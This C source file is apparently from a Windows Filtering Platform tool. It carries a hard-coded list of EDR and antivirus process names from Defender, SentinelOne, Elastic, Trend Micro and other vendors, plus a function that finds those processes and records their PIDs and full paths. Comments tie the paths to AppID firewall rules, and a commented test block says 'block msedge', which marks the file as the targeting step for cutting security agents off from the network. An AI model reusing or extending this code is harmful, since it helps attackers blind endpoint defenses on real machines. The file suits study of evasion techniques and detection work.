WindowsFilteringPlatform/enumEDR.c
#include "common.h"

// List of known EDR-related process names
// Used for detecting active EDR agents in memory or on disk
const wchar_t* g_EDRNames[] = {
	// Microsoft Defender for Endpoint and Antivirus
	L"MsMpEng.exe",                 // Microsoft Defender AV
	L"MsSense.exe",                 // Microsoft Defender ATP
	L"SenseIR.exe",                 // Defender Incident Response
	L"SenseNdr.exe",                // Defender NDR
	L"SenseCncProxy.exe",           // Defender CNC Proxy
	L"SenseSampleUploader.exe",     // Defender Sample Uploader
	L"SenseTVM.exe",                // Defender Vulnerability Management
	L"smartscreen.exe",             // Windows SmartScreen
	L"NisSrv.exe",                  // Network Inspection Service
	L"MpDefenderCoreService.exe",   // Defender Core Service

	// Elastic EDR
	L"elastic-agent.exe",           // Elastic Agent
	L"elastic-endpoint.exe",        // Elastic Endpoint
	L"filebeat.exe",                // Elastic Filebeat
	L"metricbeat.exe",              // Elastic Metricbeat
	L"winlogbeat.exe",              // Elastic Winlogbeat

	// Trellix (formerly McAfee) EDR
	L"xagt.exe",                    // Trellix Agent

	// Qualys
	L"QualysAgent.exe",             // Qualys Agent

	// SentinelOne
	L"SentinelAgent.exe",
	L"SentinelAgentWorker.exe",
	L"SentinelServiceHost.exe",
	L"SentinelStaticEngine.exe",
	L"SentinelStaticEngineScanner.exe",
	L"SentinelHelperService.exe",
	L"SentinelBrowserNativeHost.exe",
	L"LogProcessorService.exe",

	// Cylance
	L"CylanceSvc.exe",              // Cylance service

	// Cybereason
	L"AmSvc.exe",
	L"CrAmTray.exe",
	L"CrsSvc.exe",
	L"ExecutionPreventionSvc.exe",
	L"CybereasonAV.exe",

	// Carbon Black EDR
	L"cb.exe",                      // Carbon Black legacy

	// Carbon Black Cloud
	L"RepMgr.exe",
	L"RepUtils.exe",
	L"RepUx.exe",
	L"RepWAV.exe",
	L"RepWSC.exe",

	// Tanium
	L"TaniumClient.exe",
	L"TaniumCX.exe",
	L"TaniumDetectEngine.exe",

	// Palo Alto Networks Cortex XDR / Traps
	L"Traps.exe",
	L"cyserver.exe",
	L"CyveraService.exe",
	L"CyvrFsFlt.exe",

	// FortiEDR
	L"fortiedr.exe",

	// Cisco Secure Endpoint (formerly AMP)
	L"sfc.exe",

	// ESET Inspect
	L"EIConnector.exe",
	L"ekrn.exe",

	// Harfanglab EDR
	L"hurukai.exe",

	// TrendMicro Apex One
	L"CETASvc.exe",
	L"WSCommunicator.exe",
	L"EndpointBasecamp.exe",
	L"TmListen.exe",
	L"Ntrtscan.exe",
	L"TmWSCSvc.exe",
	L"PccNTMon.exe",
	L"TMBMSRV.exe",
	L"CNTAoSMgr.exe",
	L"TmCCSF.exe"
};

//// Just block msedge for testing
//const wchar_t* g_EDRNames[] = {
//    L"msedge.exe",
//};

// Total number of known EDR names
const SIZE_T g_EDRCount = sizeof(g_EDRNames) / sizeof(g_EDRNames[0]);

// Get PID and full path of the remote process in WCHAR
BOOL EnumerateEDRProcesses(OUT PPROCESS_ENTRY* ppProcessList, OUT DWORD* pdwProcessCount) {

	BOOL							bSTATE				= TRUE;
	HMODULE							hNTDLL				= NULL; // Stores handle to ntdll.dll
	NTSTATUS						STATUS				= NULL;	// Store NTSTATUS value
	HANDLE							hGetProcessHeap		= NULL;	// Handle to process heap
	ULONG							uReturnLen1			= NULL; // Stores the size of system information 1st NtQuerySystemInformation call
	ULONG							uReturnLen2			= NULL;	// Stores size of system information 2nd NtQuerySystemInformation call
	PSYSTEM_PROCESS_INFORMATION		pSystemProcInfo		= NULL; // A pointer to memory which receives the requested information
	PSYSTEM_PROCESS_INFORMATION		pTemp				= NULL; // Temp for iteration
	PVOID							pValueToFree		= NULL; // Save initial value of pSystemProcInfo to free later
	DWORD							dwCount				= 0;	// Matching process count
	HANDLE							hProcess			= NULL; // Stores handle to the target process
	PPROCESS_ENTRY					pList				= NULL; // Final list of EDR entries
	BOOL*							pbSeen				= NULL; // Bool value to prevent duplicate processes and paths

	// Get handle to ntdll.dll
	// https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
	hNTDLL = GetModuleHandleW(L"ntdll.dll");
	if (!hNTDLL) {
		errorWin32("LoadLibraryA - Failed to get handle to ntdll.dll");
		bSTATE = FALSE;
		goto _cleanUp;
	}
	//info_t("LoadLibraryA - Received handle to ntdll.dll 0x%p", hNTDLL);

	// Resolve address of NtQuerySystemInformation
	fnNtQuerySystemInformation pNtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(hNTDLL, "NtQuerySystemInformation");
	if (!pNtQuerySystemInformation) {
		errorWin32("GetProcAddress - Failed to address of NtQuerySystemInformation");
		bSTATE = FALSE;
		goto _cleanUp;
	}
	//info_t("GetProcAddress - Received address to NtQuerySystemInformation 0x%p", pNtQuerySystemInformation);

	// https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation
	// First NtQuerySystemInformation call, which fails but will save the 
	// This will fail with STATUS_INFO_LENGTH_MISMATCH
	// But it will provide information about how much memory to allocate (uReturnLen1)
	pNtQuerySystemInformation(
		SystemProcessInformation,	// Returns an array of SYSTEM_PROCESS_INFORMATION structures, one for each process running in the system.
		NULL,						// Can be null the first time calling
		NULL,						// Can be null the first time calling
		&uReturnLen1				// Save the size of the system information
	);
	//info_t("NtQuerySystemInformation - Retrieved size in bytes for the system information: %d", uReturnLen1);

	// Get handle to process heap
	hGetProcessHeap = GetProcessHeap();

	// Allocating enough buffer for the returned array of SYSTEM_PROCESS_INFORMATION struct
	pSystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(hGetProcessHeap, HEAP_ZERO_MEMORY, (SIZE_T)uReturnLen1);
	if (pSystemProcInfo == NULL) {
		errorWin32("HeapAlloc - failed to allocate memory");
		bSTATE = FALSE;
		goto _cleanUp;
	}
	//info_t("HeapAlloc - Allocated %d bytes of memory at 0x%p", uReturnLen1, pSystemProcInfo);

	// As 'pSystemProcInfo' will be modified, save the initial value
	pValueToFree = pSystemProcInfo;

	// Second NtQuerySystemInformation call
	// Calling NtQuerySystemInformation with the correct arguments, the output will be saved to 'pSystemProcInfo'
	STATUS = pNtQuerySystemInformation(
		SystemProcessInformation,	// Returns an array of SYSTEM_PROCESS_INFORMATION structures, one for each process running in the system.
		pSystemProcInfo,			// A pointer to a buffer that receives the requested information. 
		uReturnLen1,				// Size of the buffer pointed to by the SystemInformation parameter, in bytes.
		&uReturnLen2				// Size returned
	);
	if (STATUS != 0x0) {
		error("NtQuerySystemInformation - failed with error: 0x%0.8X", STATUS);
		bSTATE = FALSE;
		goto _cleanUp;
	}
	//info_t("NtQuerySystemInformation - Retrieved size in bytes of system information: %d at 0x%p", uReturnLen2, pSystemProcInfo);

	// Allocate memory for bool value for each EDR process
	pbSeen = (BOOL*)HeapAlloc(hGetProcessHeap, HEAP_ZERO_MEMORY, sizeof(BOOL) * g_EDRCount);
	if (!pbSeen) {
		errorWin32("HeapAlloc - Failed to allocate memory for seen tracking");
		bSTATE = FALSE;
		goto _cleanUp;
	}

	// First pass: count EDR processes to count memory required
	pTemp = pSystemProcInfo;
	while (TRUE) {
		if (pTemp->ImageName.Length && pTemp->ImageName.Buffer != NULL) {
			for (DWORD i = 0; i < g_EDRCount; i++) {
				if (_wcsicmp(pTemp->ImageName.Buffer, g_EDRNames[i]) == 0) {

					// Only count if we havent seen this one before
					if (!pbSeen[i]) {
						pbSeen[i] = TRUE;
						dwCount++;
					}

					break;
				}
			}
		}
		if (!pTemp->NextEntryOffset) break;
		pTemp = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)pTemp + pTemp->NextEntryOffset);
	}

	if (dwCount == 0) {
		info_t("EnumerateProcesses - No EDR processes found");
		goto _cleanUp;
	}

	// Allocate memory for x count EDR process list
	pList = (PPROCESS_ENTRY)HeapAlloc(hGetProcessHeap, HEAP_ZERO_MEMORY, sizeof(PROCESS_ENTRY) * dwCount);
	if (!pList) {
		errorWin32("HeapAlloc - Failed to allocate PROCESS_ENTRY list");
		bSTATE = FALSE;
		goto _cleanUp;
	}

	// Reset seen flags before second pass
	RtlZeroMemory(pbSeen, sizeof(BOOL) * g_EDRCount);

	// Second pass: extract only matched EDR processes
	DWORD dwIndex = 0;
	pTemp = pSystemProcInfo;

	while (TRUE) {

		//infoW(L"Enumerated process \"%s\" - Of PID: %d", SystemProcInfo->ImageName.Buffer, SystemProcInfo->UniqueProcessId);

		// Check if this process has a name to compare
		if (pTemp->ImageName.Length && pTemp->ImageName.Buffer != NULL) {

			// Compare process name to known EDR process names
			for (DWORD i = 0; i < g_EDRCount; i++) {

				if (_wcsicmp(pTemp->ImageName.Buffer, g_EDRNames[i]) == 0) {

					// Check if EDR is already on the list
					if (pbSeen[i])
						break;

					// Set EDR index true
					pbSeen[i] = TRUE;

					// Store the PID of the matched EDR process
					pList[dwIndex].dwPid = (DWORD)(ULONG_PTR)pTemp->UniqueProcessId;

					// Allocate and copy the process name
					SIZE_T uNameLen = (pTemp->ImageName.Length / sizeof(WCHAR)) + 1;
					pList[dwIndex].pwszName = (LPWSTR)HeapAlloc(hGetProcessHeap, HEAP_ZERO_MEMORY, uNameLen * sizeof(WCHAR));
					if (pList[dwIndex].pwszName) {
						wcsncpy_s(pList[dwIndex].pwszName, uNameLen, pTemp->ImageName.Buffer, _TRUNCATE);
					}

					// Get handle to process with limited rights
					// https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
					hProcess = OpenProcess(
						PROCESS_QUERY_LIMITED_INFORMATION,				// Get process with limited access rights
						FALSE,											// Don't inherit handle
						(DWORD)pTemp->UniqueProcessId					// Process ID
					);
					if (hProcess == NULL) {
						bSTATE = FALSE;
						goto _cleanUp;
						errorWin32("OpenProcess - Failed to open process");
					}
					infoW_t("OpenProcess - Opened handle to process \"%s\" 0x%p", pTemp->ImageName.Buffer, hProcess);

					// Buffer to hold the retrieved native image path
					WCHAR wszTempPath[MAX_PATH] = { 0 };
					DWORD dwPathSize = MAX_PATH;

					// Get the process full path
					// https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-queryfullprocessimagenamew
					if (!QueryFullProcessImageNameW(
						hProcess,			// Handle to the target process
						1,					// Native system path format
						wszTempPath,		// Output buffer
						&dwPathSize			// Size of the input/output buffer
					)) {
						errorWin32("QueryFullProcessImageNameW - Failed to retrieve image path");
						bSTATE = FALSE;
						goto _cleanUp;
					}
					infoW_t("QueryFullProcessImageNameW - Retrieved full process path \"%s\"", wszTempPath);
					
					// Allocate memory for storing the full path
					pList[dwIndex].pwszPath = (LPWSTR)HeapAlloc(hGetProcessHeap, HEAP_ZERO_MEMORY, (dwPathSize + 1) * sizeof(WCHAR));
					if (!pList[dwIndex].pwszPath) {
						errorWin32("HeapAlloc - Failed to allocate memory for path");
						bSTATE = FALSE;
						goto _cleanUp;
					}

					// Copy the results into it
					wcsncpy_s(pList[dwIndex].pwszPath, dwPathSize + 1, wszTempPath, _TRUNCATE);

					// Convert full path to lowercase (important for AppID-based firewall rules)
					for (DWORD j = 0; j < dwPathSize && pList[dwIndex].pwszPath[j] != L'\0'; j++) {
						pList[dwIndex].pwszPath[j] = towlower(pList[dwIndex].pwszPath[j]);
					}

					// Close the process handle
					// https://learn.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle
					CloseHandle(hProcess);

					// Move to next available index in the EDR process list
					dwIndex++;
					break;
				}
			}
		}

		// if NextEntryOffset is 0, we reached the end of the array
		if (!pTemp->NextEntryOffset) {

			//info_t("Reached end of SystemProcInfo array");

			break;
		}

		// From Docs: The start of the next item in the array is the address of the previous item plus the value in the NextEntryOffset member. 
		// https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-system_process_information
		pTemp = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)pTemp + pTemp->NextEntryOffset);
	}

	// Give back the values
	*ppProcessList = pList;
	*pdwProcessCount = dwIndex;


_cleanUp:

	// Free the allocated PROCESS_ENTRY list on failure
	if (!bSTATE && pList) {
		for (DWORD i = 0; i < dwCount; i++) {
			if (pList[i].pwszName) {
				HeapFree(hGetProcessHeap, 0, pList[i].pwszName);
			}
			if (pList[i].pwszPath) {
				HeapFree(hGetProcessHeap, 0, pList[i].pwszPath);
			}
		}
		HeapFree(hGetProcessHeap, 0, pList);
	}

	// Free the initial address
	if (pValueToFree) {
		HeapFree(hGetProcessHeap, 0, pValueToFree);
	}

	// Free BOOL
	if (pbSeen) {
		HeapFree(hGetProcessHeap, 0, pbSeen);
	}

	return bSTATE;
}